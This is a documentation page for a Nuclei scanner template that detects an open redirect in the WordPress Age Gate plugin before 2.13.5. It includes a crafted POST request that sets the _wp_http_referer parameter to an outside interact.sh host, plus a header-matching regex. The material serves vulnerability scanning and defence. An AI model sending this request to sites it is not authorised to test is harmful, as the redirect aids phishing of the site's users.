WordPress Age Gate <2.13.5 - Open Redirect
ID: age-gate-open-redirect
Severity: medium
Author: akincibor
Tags: agegate,unauth,wpscan,packetstorm,wp-plugin,redirect,wordpress,wp
Description
Section titled “Description”WordPress Age Gate plugin before 2.13.5 contains an open redirect vulnerability via the _wp_http_referer parameter after certain actions and after invalid or missing nonces. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
YAML Source
Section titled “YAML Source”id: age-gate-open-redirect
info: name: WordPress Age Gate <2.13.5 - Open Redirect author: akincibor severity: medium description: WordPress Age Gate plugin before 2.13.5 contains an open redirect vulnerability via the _wp_http_referer parameter after certain actions and after invalid or missing nonces. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. reference: - https://wpscan.com/vulnerability/10489 - https://packetstormsecurity.com/files/160236/ - https://wordpress.org/plugins/age-gate classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cwe-id: CWE-601 metadata: verified: true max-request: 1 tags: agegate,unauth,wpscan,packetstorm,wp-plugin,redirect,wordpress,wp
http: - method: POST path: - '{{BaseURL}}/wp-admin/admin-post.php'
body: age_gate%5Bd%5D=10&age_gate%5Bm%5D=10&age_gate%5By%5D=1990&age_gate%5Bremember%5D=1&age_gate%5Bage%5D=TVRnPQ%3D%3D&action=age_gate_submit&age_gate%5Bnonce%5D=48f2b89fed&_wp_http_referer=https://interact.sh
headers: Content-Type: application/x-www-form-urlencoded matchers: - type: regex part: header regex: - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1# digest: 4b0a00483046022100d026686666f46922e0dc374e1bd98cc50f054bf3ad6b7a5b23791df010a4921c022100b967666fa67d97afb2855ffcc3755b751f0550398e9f79e7a8a514e6083f81a5:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/age-gate-open-redirect.yaml"